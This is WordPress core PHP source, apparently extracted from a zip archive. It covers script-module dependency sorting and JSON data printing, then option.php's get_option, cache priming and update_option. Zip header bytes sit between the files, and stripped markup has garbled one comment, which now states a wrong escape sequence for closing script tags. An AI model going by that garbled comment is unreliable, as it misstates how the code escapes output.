script module. * * @since 6.9.0 * * @see WP_Scripts::get_dependents() * * @param string $id The script ID. * @return string[] Script module IDs. */ private function get_recursive_dependents( string $id ): array { $dependents = array(); $id_queue = array( $id ); $processed = array(); while ( ! empty( $id_queue ) ) { $current_id = array_shift( $id_queue ); // Skip unregistered or already-processed script modules. if ( ! isset( $this->registered[ $current_id ] ) || isset( $processed[ $current_id ] ) ) { continue; } // Mark as processed to guard against infinite loops from circular dependencies. $processed[ $current_id ] = true; // Find the direct dependents of the current script. foreach ( $this->get_dependents( $current_id ) as $dependent_id ) { // Only add the dependent if we haven't found it before. if ( ! isset( $dependents[ $dependent_id ] ) ) { $dependents[ $dependent_id ] = true; // Add dependency to the queue. $id_queue[] = $dependent_id; } } } return array_keys( $dependents ); } /** * Sorts the given script module identifiers based on their dependencies. * * It will return a list of script module identifiers sorted in the order * they should be printed, so that dependencies are printed before the script * modules that depend on them. * * @since 6.9.0 * * @param string[] $ids The identifiers of the script modules to sort. * @param string[] $import_types Optional. Import types of dependencies to retrieve: 'static', 'dynamic', or both. * Default is both. * @return string[] Sorted list of script module identifiers. */ private function get_sorted_dependencies( array $ids, array $import_types = array( 'static', 'dynamic' ) ): array { $sorted = array(); foreach ( $ids as $id ) { $this->sort_item_dependencies( $id, $import_types, $sorted ); } return array_unique( $sorted ); } /** * Recursively sorts the dependencies for a single script module identifier. * * @since 6.9.0 * * @param string $id The identifier of the script module to sort. * @param string[] $import_types Optional. Import types of dependencies to retrieve: 'static', 'dynamic', or both. * @param string[] &$sorted The array of sorted identifiers, passed by reference. * @return bool True on success, false on failure (e.g., missing dependency). */ private function sort_item_dependencies( string $id, array $import_types, array &$sorted ): bool { // If already processed, don't do it again. if ( in_array( $id, $sorted, true ) ) { return true; } // If the item doesn't exist, fail. if ( ! isset( $this->registered[ $id ] ) ) { return false; } $dependency_ids = array(); foreach ( $this->registered[ $id ]['dependencies'] as $dependency ) { if ( in_array( $dependency['import'], $import_types, true ) ) { $dependency_ids[] = $dependency['id']; } } // If the item requires dependencies that do not exist, fail. $missing_dependencies = array_diff( $dependency_ids, array_keys( $this->registered ) ); if ( count( $missing_dependencies ) > 0 ) { if ( ! in_array( $id, $this->modules_with_missing_dependencies, true ) ) { _doing_it_wrong( get_class( $this ) . '::register', sprintf( /* translators: 1: Script module ID, 2: List of missing dependency IDs. */ __( 'The script module with the ID "%1$s" was enqueued with dependencies that are not registered: %2$s.' ), $id, implode( wp_get_list_item_separator(), $missing_dependencies ) ), '6.9.1' ); $this->modules_with_missing_dependencies[] = $id; } return false; } // Recursively process dependencies. foreach ( $dependency_ids as $dependency_id ) { if ( ! $this->sort_item_dependencies( $dependency_id, $import_types, $sorted ) ) { // A dependency failed to resolve, so this branch fails. return false; } } // All dependencies are sorted, so we can now add the current item. $sorted[] = $id; return true; } /** * Gets the versioned URL for a script module src. * * If $version is set to false, the version number is the currently installed * WordPress version. If $version is set to null, no version is added. * Otherwise, the string passed in $version is used. * * @since 6.5.0 * * @param string $id The script module identifier. * @return string The script module src with a version if relevant. */ private function get_src( string $id ): string { if ( ! isset( $this->registered[ $id ] ) ) { return ''; } $script_module = $this->registered[ $id ]; $src = $script_module['src']; if ( '' !== $src ) { if ( false === $script_module['version'] ) { $src = add_query_arg( 'ver', get_bloginfo( 'version' ), $src ); } elseif ( null !== $script_module['version'] ) { $src = add_query_arg( 'ver', $script_module['version'], $src ); } } /** * Filters the script module source. * * @since 6.5.0 * * @param string $src Module source URL. * @param string $id Module identifier. */ $src = apply_filters( 'script_module_loader_src', $src, $id ); if ( ! is_string( $src ) ) { $src = ''; } return $src; } /** * Print data associated with Script Modules. * * The data will be embedded in the page HTML and can be read by Script Modules on page load. * * @since 6.7.0 * * Data can be associated with a Script Module via the * {@see "script_module_data_{$module_id}"} filter. * * The data for a Script Module will be serialized as JSON in a script tag with an ID of the * form `wp-script-module-data-{$module_id}`. */ public function print_script_module_data(): void { $modules = array(); foreach ( array_unique( $this->queue ) as $id ) { if ( '@wordpress/a11y' === $id ) { $this->a11y_available = true; } $modules[ $id ] = true; } foreach ( array_keys( $this->get_import_map()['imports'] ) as $id ) { if ( '@wordpress/a11y' === $id ) { $this->a11y_available = true; } $modules[ $id ] = true; } foreach ( array_keys( $modules ) as $module_id ) { /** * Filters data associated with a given Script Module. * * Script Modules may require data that is required for initialization or is essential * to have immediately available on page load. These are suitable use cases for * this data. * * The dynamic portion of the hook name, `$module_id`, refers to the Script Module ID * that the data is associated with. * * This is best suited to pass essential data that must be available to the module for * initialization or immediately on page load. It does not replace the REST API or * fetching data from the client. * * Example: * * add_filter( * 'script_module_data_MyScriptModuleID', * function ( array $data ): array { * $data['dataForClient'] = 'ok'; * return $data; * } * ); * * If the filter returns no data (an empty array), nothing will be embedded in the page. * * The data for a given Script Module, if provided, will be JSON serialized in a script * tag with an ID of the form `wp-script-module-data-{$module_id}`. * * The data can be read on the client with a pattern like this: * * Example: * * const dataContainer = document.getElementById( 'wp-script-module-data-MyScriptModuleID' ); * let data = {}; * if ( dataContainer ) { * try { * data = JSON.parse( dataContainer.textContent ); * } catch {} * } * // data.dataForClient === 'ok'; * initMyScriptModuleWithData( data ); * * @since 6.7.0 * * @param array $data The data associated with the Script Module. */ $data = apply_filters( "script_module_data_{$module_id}", array() ); if ( is_array( $data ) && array() !== $data ) { /* * This data will be printed as JSON inside a script tag like this: * * * A script tag must be closed by a sequence beginning with `` will be printed as `\u003C/script\u00E3`. * * - JSON_HEX_TAG: All < and > are converted to \u003C and \u003E. * - JSON_UNESCAPED_SLASHES: Don't escape /. * * If the page will use UTF-8 encoding, it's safe to print unescaped unicode: * * - JSON_UNESCAPED_UNICODE: Encode multibyte Unicode characters literally (instead of as `\uXXXX`). * - JSON_UNESCAPED_LINE_TERMINATORS: The line terminators are kept unescaped when * JSON_UNESCAPED_UNICODE is supplied. It uses the same behaviour as it was * before PHP 7.1 without this constant. Available as of PHP 7.1.0. * * The JSON specification requires encoding in UTF-8, so if the generated HTML page * is not encoded in UTF-8 then it's not safe to include those literals. They must * be escaped to avoid encoding issues. * * @see https://www.rfc-editor.org/rfc/rfc8259.html for details on encoding requirements. * @see https://www.php.net/manual/en/json.constants.php for details on these constants. * @see https://html.spec.whatwg.org/#script-data-state for details on script tag parsing. */ $json_encode_flags = JSON_HEX_TAG | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_LINE_TERMINATORS; if ( ! is_utf8_charset() ) { $json_encode_flags = JSON_HEX_TAG | JSON_UNESCAPED_SLASHES; } wp_print_inline_script_tag( (string) wp_json_encode( $data, $json_encode_flags ), array( 'type' => 'application/json', 'id' => "wp-script-module-data-{$module_id}", ) ); } } } /** * @access private This is only intended to be called by the registered actions. * * @since 6.7.0 */ public function print_a11y_script_module_html() { if ( ! $this->a11y_available ) { return; } echo '
    ' . '' . '
    ' . '
    ' . '
    '; } } PK! )qÊKšKš option.phpnuȯÝí bool(false) * [1] => string(3) "str" * [2] => NULL * } * * @since 1.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $option Name of the option to retrieve. Expected to not be SQL-escaped. * @param mixed $default_value Optional. Default value to return if the option does not exist. * @return mixed Value of the option. A value of any type may be returned, including * scalar (string, boolean, float, integer), null, array, object. * Scalar and null values will be returned as strings as long as they originate * from a database stored option value. If there is no option in the database, * boolean `false` is returned. */ function get_option( $option, $default_value = false ) { global $wpdb; if ( is_scalar( $option ) ) { $option = trim( $option ); } if ( empty( $option ) ) { return false; } /* * Until a proper _deprecated_option() function can be introduced, * redirect requests to deprecated keys to the new, correct ones. */ $deprecated_keys = array( 'blacklist_keys' => 'disallowed_keys', 'comment_whitelist' => 'comment_previously_approved', ); if ( isset( $deprecated_keys[ $option ] ) && ! wp_installing() ) { _deprecated_argument( __FUNCTION__, '5.5.0', sprintf( /* translators: 1: Deprecated option key, 2: New option key. */ __( 'The "%1$s" option key has been renamed to "%2$s".' ), $option, $deprecated_keys[ $option ] ) ); return get_option( $deprecated_keys[ $option ], $default_value ); } /** * Filters the value of an existing option before it is retrieved. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * Returning a value other than false from the filter will short-circuit retrieval * and return that value instead. * * @since 1.5.0 * @since 4.4.0 The `$option` parameter was added. * @since 4.9.0 The `$default_value` parameter was added. * * @param mixed $pre_option The value to return instead of the option value. This differs from * `$default_value`, which is used as the fallback value in the event * the option doesn't exist elsewhere in get_option(). * Default false (to skip past the short-circuit). * @param string $option Option name. * @param mixed $default_value The fallback value to return if the option does not exist. * Default false. */ $pre = apply_filters( "pre_option_{$option}", false, $option, $default_value ); /** * Filters the value of any existing option before it is retrieved. * * Returning a value other than false from the filter will short-circuit retrieval * and return that value instead. * * @since 6.1.0 * * @param mixed $pre_option The value to return instead of the option value. This differs from * `$default_value`, which is used as the fallback value in the event * the option doesn't exist elsewhere in get_option(). * Default false (to skip past the short-circuit). * @param string $option Name of the option. * @param mixed $default_value The fallback value to return if the option does not exist. * Default false. */ $pre = apply_filters( 'pre_option', $pre, $option, $default_value ); if ( false !== $pre ) { return $pre; } if ( defined( 'WP_SETUP_CONFIG' ) ) { return false; } // Distinguish between `false` as a default, and not passing one. $passed_default = func_num_args() > 1; if ( ! wp_installing() ) { $alloptions = wp_load_alloptions(); /* * When getting an option value, we check in the following order for performance: * * 1. Check the 'alloptions' cache first to prioritize existing loaded options. * 2. Check the 'notoptions' cache before a cache lookup or DB hit. * 3. Check the 'options' cache prior to a DB hit. * 4. Check the DB for the option and cache it in either the 'options' or 'notoptions' cache. */ if ( isset( $alloptions[ $option ] ) ) { $value = $alloptions[ $option ]; } else { // Check for non-existent options first to avoid unnecessary object cache lookups and DB hits. $notoptions = wp_cache_get( 'notoptions', 'options' ); if ( ! is_array( $notoptions ) ) { $notoptions = array(); wp_cache_set( 'notoptions', $notoptions, 'options' ); } if ( isset( $notoptions[ $option ] ) ) { /** * Filters the default value for an option. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 3.4.0 * @since 4.4.0 The `$option` parameter was added. * @since 4.7.0 The `$passed_default` parameter was added to distinguish between a `false` value and the default parameter value. * * @param mixed $default_value The default value to return if the option does not exist * in the database. * @param string $option Option name. * @param bool $passed_default Was `get_option()` passed a default value? */ return apply_filters( "default_option_{$option}", $default_value, $option, $passed_default ); } $value = wp_cache_get( $option, 'options' ); if ( false === $value ) { $row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", $option ) ); // Has to be get_row() instead of get_var() because of funkiness with 0, false, null values. if ( is_object( $row ) ) { $value = $row->option_value; wp_cache_add( $option, $value, 'options' ); } else { // Option does not exist, so we must cache its non-existence. $notoptions[ $option ] = true; wp_cache_set( 'notoptions', $notoptions, 'options' ); /** This filter is documented in wp-includes/option.php */ return apply_filters( "default_option_{$option}", $default_value, $option, $passed_default ); } } } } else { $suppress = $wpdb->suppress_errors(); $row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", $option ) ); $wpdb->suppress_errors( $suppress ); if ( is_object( $row ) ) { $value = $row->option_value; } else { /** This filter is documented in wp-includes/option.php */ return apply_filters( "default_option_{$option}", $default_value, $option, $passed_default ); } } // If home is not set, use siteurl. if ( 'home' === $option && '' === $value ) { return get_option( 'siteurl' ); } if ( in_array( $option, array( 'siteurl', 'home', 'category_base', 'tag_base' ), true ) ) { $value = untrailingslashit( $value ); } /** * Filters the value of an existing option. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 1.5.0 As 'option_' . $setting * @since 3.0.0 * @since 4.4.0 The `$option` parameter was added. * * @param mixed $value Value of the option. If stored serialized, it will be * unserialized prior to being returned. * @param string $option Option name. */ return apply_filters( "option_{$option}", maybe_unserialize( $value ), $option ); } /** * Primes specific options into the cache with a single database query. * * Only options that do not already exist in cache will be loaded. * * @since 6.4.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string[] $options An array of option names to be loaded. */ function wp_prime_option_caches( $options ) { global $wpdb; $alloptions = wp_load_alloptions(); $cached_options = wp_cache_get_multiple( $options, 'options' ); $notoptions = wp_cache_get( 'notoptions', 'options' ); if ( ! is_array( $notoptions ) ) { $notoptions = array(); } // Filter options that are not in the cache. $options_to_prime = array(); foreach ( $options as $option ) { if ( ( ! isset( $cached_options[ $option ] ) || false === $cached_options[ $option ] ) && ! isset( $alloptions[ $option ] ) && ! isset( $notoptions[ $option ] ) ) { $options_to_prime[] = $option; } } // Bail early if there are no options to be loaded. if ( empty( $options_to_prime ) ) { return; } $results = $wpdb->get_results( $wpdb->prepare( sprintf( "SELECT option_name, option_value FROM $wpdb->options WHERE option_name IN (%s)", implode( ',', array_fill( 0, count( $options_to_prime ), '%s' ) ) ), $options_to_prime ) ); $options_found = array(); foreach ( $results as $result ) { /* * The cache is primed with the raw value (i.e. not maybe_unserialized). * * `get_option()` will handle unserializing the value as needed. */ $options_found[ $result->option_name ] = $result->option_value; } wp_cache_set_multiple( $options_found, 'options' ); // If all options were found, no need to update `notoptions` cache. if ( count( $options_found ) === count( $options_to_prime ) ) { return; } $options_not_found = array_diff( $options_to_prime, array_keys( $options_found ) ); // Add the options that were not found to the cache. $update_notoptions = false; foreach ( $options_not_found as $option_name ) { if ( ! isset( $notoptions[ $option_name ] ) ) { $notoptions[ $option_name ] = true; $update_notoptions = true; } } // Only update the cache if it was modified. if ( $update_notoptions ) { wp_cache_set( 'notoptions', $notoptions, 'options' ); } } /** * Primes the cache of all options registered with a specific option group. * * @since 6.4.0 * * @global array $new_allowed_options * * @param string $option_group The option group to load options for. */ function wp_prime_option_caches_by_group( $option_group ) { global $new_allowed_options; if ( isset( $new_allowed_options[ $option_group ] ) ) { wp_prime_option_caches( $new_allowed_options[ $option_group ] ); } } /** * Retrieves multiple options. * * Options are loaded as necessary first in order to use a single database query at most. * * @since 6.4.0 * * @param string[] $options An array of option names to retrieve. * @return array An array of key-value pairs for the requested options. */ function get_options( $options ) { wp_prime_option_caches( $options ); $result = array(); foreach ( $options as $option ) { $result[ $option ] = get_option( $option ); } return $result; } /** * Sets the autoload values for multiple options in the database. * * Autoloading too many options can lead to performance problems, especially if the options are not frequently used. * This function allows modifying the autoload value for multiple options without changing the actual option value. * This is for example recommended for plugin activation and deactivation hooks, to ensure any options exclusively used * by the plugin which are generally autoloaded can be set to not autoload when the plugin is inactive. * * @since 6.4.0 * @since 6.7.0 The autoload values 'yes' and 'no' are deprecated. * * @global wpdb $wpdb WordPress database abstraction object. * * @param array $options Associative array of option names and their autoload values to set. The option names are * expected to not be SQL-escaped. The autoload values should be boolean values. For backward * compatibility 'yes' and 'no' are also accepted, though using these values is deprecated. * @return array Associative array of all provided $options as keys and boolean values for whether their autoload value * was updated. */ function wp_set_option_autoload_values( array $options ) { global $wpdb; if ( ! $options ) { return array(); } $grouped_options = array( 'on' => array(), 'off' => array(), ); $results = array(); foreach ( $options as $option => $autoload ) { wp_protect_special_option( $option ); // Ensure only valid options can be passed. /* * Sanitize autoload value and categorize accordingly. * The values 'yes', 'no', 'on', and 'off' are supported for backward compatibility. */ if ( 'off' === $autoload || 'no' === $autoload || false === $autoload ) { $grouped_options['off'][] = $option; } else { $grouped_options['on'][] = $option; } $results[ $option ] = false; // Initialize result value. } $where = array(); $where_args = array(); foreach ( $grouped_options as $autoload => $options ) { if ( ! $options ) { continue; } $placeholders = implode( ',', array_fill( 0, count( $options ), '%s' ) ); $where[] = "autoload != '%s' AND option_name IN ($placeholders)"; $where_args[] = $autoload; foreach ( $options as $option ) { $where_args[] = $option; } } $where = 'WHERE ' . implode( ' OR ', $where ); /* * Determine the relevant options that do not already use the given autoload value. * If no options are returned, no need to update. */ // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare $options_to_update = $wpdb->get_col( $wpdb->prepare( "SELECT option_name FROM $wpdb->options $where", $where_args ) ); if ( ! $options_to_update ) { return $results; } // Run UPDATE queries as needed (maximum 2) to update the relevant options' autoload values to 'yes' or 'no'. foreach ( $grouped_options as $autoload => $options ) { if ( ! $options ) { continue; } $options = array_intersect( $options, $options_to_update ); $grouped_options[ $autoload ] = $options; if ( ! $grouped_options[ $autoload ] ) { continue; } // Run query to update autoload value for all the options where it is needed. $success = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->options SET autoload = %s WHERE option_name IN (" . implode( ',', array_fill( 0, count( $grouped_options[ $autoload ] ), '%s' ) ) . ')', array_merge( array( $autoload ), $grouped_options[ $autoload ] ) ) ); if ( ! $success ) { // Set option list to an empty array to indicate no options were updated. $grouped_options[ $autoload ] = array(); continue; } // Assume that on success all options were updated, which should be the case given only new values are sent. foreach ( $grouped_options[ $autoload ] as $option ) { $results[ $option ] = true; } } /* * If any options were changed to 'on', delete their individual caches, and delete 'alloptions' cache so that it * is refreshed as needed. * If no options were changed to 'on' but any options were changed to 'no', delete them from the 'alloptions' * cache. This is not necessary when options were changed to 'on', since in that situation the entire cache is * deleted anyway. */ if ( $grouped_options['on'] ) { wp_cache_delete_multiple( $grouped_options['on'], 'options' ); wp_cache_delete( 'alloptions', 'options' ); } elseif ( $grouped_options['off'] ) { $alloptions = wp_load_alloptions( true ); foreach ( $grouped_options['off'] as $option ) { if ( isset( $alloptions[ $option ] ) ) { unset( $alloptions[ $option ] ); } } wp_cache_set( 'alloptions', $alloptions, 'options' ); } return $results; } /** * Sets the autoload value for multiple options in the database. * * This is a wrapper for {@see wp_set_option_autoload_values()}, which can be used to set different autoload values for * each option at once. * * @since 6.4.0 * @since 6.7.0 The autoload values 'yes' and 'no' are deprecated. * * @see wp_set_option_autoload_values() * * @param string[] $options List of option names. Expected to not be SQL-escaped. * @param bool $autoload Autoload value to control whether to load the options when WordPress starts up. * For backward compatibility 'yes' and 'no' are also accepted, though using these values is * deprecated. * @return array Associative array of all provided $options as keys and boolean values for whether their autoload value * was updated. */ function wp_set_options_autoload( array $options, $autoload ) { return wp_set_option_autoload_values( array_fill_keys( $options, $autoload ) ); } /** * Sets the autoload value for an option in the database. * * This is a wrapper for {@see wp_set_option_autoload_values()}, which can be used to set the autoload value for * multiple options at once. * * @since 6.4.0 * @since 6.7.0 The autoload values 'yes' and 'no' are deprecated. * * @see wp_set_option_autoload_values() * * @param string $option Name of the option. Expected to not be SQL-escaped. * @param bool $autoload Autoload value to control whether to load the option when WordPress starts up. * For backward compatibility 'yes' and 'no' are also accepted, though using these values is * deprecated. * @return bool True if the autoload value was modified, false otherwise. */ function wp_set_option_autoload( $option, $autoload ) { $result = wp_set_option_autoload_values( array( $option => $autoload ) ); if ( isset( $result[ $option ] ) ) { return $result[ $option ]; } return false; } /** * Protects WordPress special option from being modified. * * Will die if $option is in protected list. Protected options are 'alloptions' * and 'notoptions' options. * * @since 2.2.0 * * @param string $option Option name. */ function wp_protect_special_option( $option ) { if ( 'alloptions' === $option || 'notoptions' === $option ) { wp_die( sprintf( /* translators: %s: Option name. */ __( '%s is a protected WP option and may not be modified' ), esc_html( $option ) ) ); } } /** * Prints option value after sanitizing for forms. * * @since 1.5.0 * * @param string $option Option name. */ function form_option( $option ) { echo esc_attr( get_option( $option ) ); } /** * Loads and caches all autoloaded options, if available or all options. * * @since 2.2.0 * @since 5.3.1 The `$force_cache` parameter was added. * * @global wpdb $wpdb WordPress database abstraction object. * * @param bool $force_cache Optional. Whether to force an update of the local cache * from the persistent cache. Default false. * @return array List of all options. */ function wp_load_alloptions( $force_cache = false ) { global $wpdb; /** * Filters the array of alloptions before it is populated. * * Returning an array from the filter will effectively short circuit * wp_load_alloptions(), returning that value instead. * * @since 6.2.0 * * @param array|null $alloptions An array of alloptions. Default null. * @param bool $force_cache Whether to force an update of the local cache from the persistent cache. Default false. */ $alloptions = apply_filters( 'pre_wp_load_alloptions', null, $force_cache ); if ( is_array( $alloptions ) ) { return $alloptions; } if ( ! wp_installing() || ! is_multisite() ) { $alloptions = wp_cache_get( 'alloptions', 'options', $force_cache ); } else { $alloptions = false; } if ( ! $alloptions ) { $suppress = $wpdb->suppress_errors(); $alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options WHERE autoload IN ( '" . implode( "', '", esc_sql( wp_autoload_values_to_autoload() ) ) . "' )" ); if ( ! $alloptions_db ) { $alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options" ); } $wpdb->suppress_errors( $suppress ); $alloptions = array(); foreach ( (array) $alloptions_db as $o ) { $alloptions[ $o->option_name ] = $o->option_value; } if ( ! wp_installing() || ! is_multisite() ) { /** * Filters all options before caching them. * * @since 4.9.0 * * @param array $alloptions Array with all options. */ $alloptions = apply_filters( 'pre_cache_alloptions', $alloptions ); wp_cache_add( 'alloptions', $alloptions, 'options' ); } } /** * Filters all options after retrieving them. * * @since 4.9.0 * * @param array $alloptions Array with all options. */ return apply_filters( 'alloptions', $alloptions ); } /** * Primes specific network options for the current network into the cache with a single database query. * * Only network options that do not already exist in cache will be loaded. * * If site is not multisite, then call wp_prime_option_caches(). * * @since 6.6.0 * * @see wp_prime_network_option_caches() * * @param string[] $options An array of option names to be loaded. */ function wp_prime_site_option_caches( array $options ) { wp_prime_network_option_caches( null, $options ); } /** * Primes specific network options into the cache with a single database query. * * Only network options that do not already exist in cache will be loaded. * * If site is not multisite, then call wp_prime_option_caches(). * * @since 6.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|null $network_id ID of the network. Can be null to default to the current network ID. * @param string[] $options An array of option names to be loaded. */ function wp_prime_network_option_caches( $network_id, array $options ) { global $wpdb; if ( wp_installing() ) { return; } if ( ! is_multisite() ) { wp_prime_option_caches( $options ); return; } if ( $network_id && ! is_numeric( $network_id ) ) { return; } $network_id = (int) $network_id; // Fallback to the current network if a network ID is not specified. if ( ! $network_id ) { $network_id = get_current_network_id(); } $cache_keys = array(); foreach ( $options as $option ) { $cache_keys[ $option ] = "{$network_id}:{$option}"; } $cache_group = 'site-options'; $cached_options = wp_cache_get_multiple( array_values( $cache_keys ), $cache_group ); $notoptions_key = "$network_id:notoptions"; $notoptions = wp_cache_get( $notoptions_key, $cache_group ); if ( ! is_array( $notoptions ) ) { $notoptions = array(); } // Filter options that are not in the cache. $options_to_prime = array(); foreach ( $cache_keys as $option => $cache_key ) { if ( ( ! isset( $cached_options[ $cache_key ] ) || false === $cached_options[ $cache_key ] ) && ! isset( $notoptions[ $option ] ) ) { $options_to_prime[] = $option; } } // Bail early if there are no options to be loaded. if ( empty( $options_to_prime ) ) { return; } $query_args = $options_to_prime; $query_args[] = $network_id; $results = $wpdb->get_results( $wpdb->prepare( sprintf( "SELECT meta_key, meta_value FROM $wpdb->sitemeta WHERE meta_key IN (%s) AND site_id = %s", implode( ',', array_fill( 0, count( $options_to_prime ), '%s' ) ), '%d' ), $query_args ) ); $data = array(); $options_found = array(); foreach ( $results as $result ) { $key = $result->meta_key; $cache_key = $cache_keys[ $key ]; $data[ $cache_key ] = maybe_unserialize( $result->meta_value ); $options_found[] = $key; } wp_cache_set_multiple( $data, $cache_group ); // If all options were found, no need to update `notoptions` cache. if ( count( $options_found ) === count( $options_to_prime ) ) { return; } $options_not_found = array_diff( $options_to_prime, $options_found ); // Add the options that were not found to the cache. $update_notoptions = false; foreach ( $options_not_found as $option_name ) { if ( ! isset( $notoptions[ $option_name ] ) ) { $notoptions[ $option_name ] = true; $update_notoptions = true; } } // Only update the cache if it was modified. if ( $update_notoptions ) { wp_cache_set( $notoptions_key, $notoptions, $cache_group ); } } /** * Loads and primes caches of certain often requested network options if is_multisite(). * * @since 3.0.0 * @since 6.3.0 Also prime caches for network options when persistent object cache is enabled. * @since 6.6.0 Uses wp_prime_network_option_caches(). * * @param int $network_id Optional. Network ID of network for which to prime network options cache. Defaults to current network. */ function wp_load_core_site_options( $network_id = null ) { if ( ! is_multisite() || wp_installing() ) { return; } $core_options = array( 'site_name', 'siteurl', 'active_sitewide_plugins', '_site_transient_timeout_theme_roots', '_site_transient_theme_roots', 'site_admins', 'can_compress_scripts', 'global_terms_enabled', 'ms_files_rewriting', 'WPLANG' ); wp_prime_network_option_caches( $network_id, $core_options ); } /** * Updates the value of an option that was already added. * * You do not need to serialize values. If the value needs to be serialized, * then it will be serialized before it is inserted into the database. * Remember, resources cannot be serialized or added as an option. * * If the option does not exist, it will be created. * This function is designed to work with or without a logged-in user. In terms of security, * plugin developers should check the current user's capabilities before updating any options. * * @since 1.0.0 * @since 4.2.0 The `$autoload` parameter was added. * @since 6.7.0 The autoload values 'yes' and 'no' are deprecated. * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $option Name of the option to update. Expected to not be SQL-escaped. * @param mixed $value Option value. Must be serializable if non-scalar. Expected to not be SQL-escaped. * @param bool|null $autoload Optional. Whether to load the option when WordPress starts up. * Accepts a boolean, or `null` to stick with the initial value or, if no initial value is * set, to leave the decision up to default heuristics in WordPress. * For existing options, `$autoload` can only be updated using `update_option()` if `$value` * is also changed. * For backward compatibility 'yes' and 'no' are also accepted, though using these values is * deprecated. * Autoloading too many options can lead to performance problems, especially if the * options are not frequently used. For options which are accessed across several places * in the frontend, it is recommended to autoload them, by using true. * For options which are accessed only on few specific URLs, it is recommended * to not autoload them, by using false. * For non-existent options, the default is null, which means WordPress will determine * the autoload value. * @return bool True if the value was updated, false otherwise. */ function update_option( $option, $value, $autoload = null ) { global $wpdb; if ( is_scalar( $option ) ) { $option = trim( $option ); } if ( empty( $option ) ) { return false; } /* * Until a proper _deprecated_option() function can be introduced, * redirect requests to deprecated keys to the new, correct ones. */ $deprecated_keys = array( 'blacklist_keys' => 'disallowed_keys', 'comment_whitelist' => 'comment_previously_approved', ); if ( isset( $deprecated_keys[ $option ] ) && ! wp_installing() ) { _deprecated_argument( __FUNCTION__, '5.5.0', sprintf( /* translators: 1: Deprecated option key, 2: New option key. */ __( 'The "%1$s" option key has been renamed to "%2$s".' ), $option, $deprecated_keys[ $option ] ) ); return update_option( $deprecated_keys[ $option ], $value, $autoload ); } wp_protect_special_option( $option ); if ( is_object( $value ) ) { $value = clone $value; } $value = sanitize_option( $option, $value ); $old_value = get_option( $option ); /** * Filters a specific option before its value is (maybe) serialized and updated. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 2.6.0 * @since 4.4.0 The `$option` parameter was added. * * @param mixed $value The new, unserialized option value. * @param mixed $old_value The old option value. * @param string $option Option name. */ $value = apply_filters( "pre_update_option_{$option}", $value, $old_value, $option ); /** * Filters an option before its value is (maybe) serialized and updated. * * @since 3.9.0 * * @param mixed $value The new, unserialized option value. * @param string $option Name of the option. * @param mixed $old_value The old option value. */ $value = apply_filters( 'pre_update_option', $value, $option, $old_value ); /* * If the new and old values are the same, no need to update. * * Unserialized values will be adequate in most cases. If the unserialized * data differs, the (maybe) serialized data is checked to avoid * unnecessary database calls for otherwise identical object instances. * * See https://core.trac.wordpress.org/ticket/38903 */ if ( $value === $old_value || maybe_serialize( $value ) === maybe_serialize( $old_value ) ) { return false; } /** This filter is documented in wp-includes/option.php */ if ( apply_filters( "default_option_{$option}", false, $option, false ) === $old_value ) { return add_option( $option, $value, '', $autoload ); } $serialized_value = maybe_serialize( $value ); /** * Fires immediately before an option value is updated. * * @since 2.9.0 * * @param string $option Name of the option to update. * @param mixed $old_value The old option value. * @param mixed $value The new option value. */ do_action( 'update_option', $option, $old_value, $value ); $update_args = array( 'option_value' => $serialized_value, ); if ( null !== $autoload ) { $update_args['autoload'] = wp_determine_option_autoload_value( $option, $value, $serialized_value, $autoload ); } else { // Retrieve the current autoload value to reevaluate it in case it was set automatically. $raw_autoload = $wpdb->get_var( $wpdb->prepare( "SELECT autoload FROM $wpdb->options WHERE option_name = %s LIMIT 1", $option ) ); $allow_values = array( 'auto-on', 'auto-off', 'auto' ); if ( in_array( $raw_autoload, $allow_values, true ) ) { $autoload = wp_determine_option_autoload_value( $option, $value, $serialized_value, $autoload ); if ( $autoload !== $raw_autoload ) { $update_args['autoload'] = $autoload; } } } $result = $wpdb->update( $wpdb->options, $update_args, array( 'option_name' => $option ) ); if ( ! $result ) { return false; } $notoptions = wp_cache_get( 'notoptions', 'options' ); if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) { unset( $notoptions[ $option ] ); wp_cache_set( 'notoptions', $notoptions, 'options' ); } if ( ! wp_installing() ) { if ( ! isset( $update_args['autoload'] ) ) { // Update the cached value based on where it is currently cached. $alloptions = wp_load_alloptions( true ); if ( isset( $alloptions[ $option ] ) ) { $alloptions[ $option ] = $serialized_value; wp_cache_set( 'alloptions', $alloptions, 'options' ); } else { wp_cache_set( $option, $serialized_value, 'options' ); } } elseif ( in_array( $update_args['autoload'], wp_autoload_values_to_autoload(), true ) ) { // Delete the individual cache, then set in alloptions cache. wp_cache_delete( $option, 'options' ); $alloptions = wp_load_alloptions( true ); $alloptions[ $option ] = $serialized_value; wp_cache_set( 'alloptions', $alloptions, 'options' ); } else { // Delete the alloptions cache, then set the individual cache. $alloptions = wp_load_alloptions( true ); if ( isset( $alloptions[ $option ] ) ) { unset( $alloptions[ $option ] ); wp_cache_set( 'alloptions', $alloptions, 'options' ); } wp_cache_set( $option, $serialized_value, 'options' ); } } /** * Fires after the value of a specific option has been successfully updated. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 2.0.1 * @since 4.4.0 The `$option` parameter was added. * * @param mixed $old_value The old option value. * @param mixed $value The new option value. * @param string $option Option name. */ do_action( "update_option_{$option}", $old_value, $value, $option ); /** * Fires after the value of an option has been successfully updated. * * @since 2.9.0 * * @param string $option Name of the updated option. * @param mixed $old_value The old option value. * @param mixed $value The new option value. */ do_action( 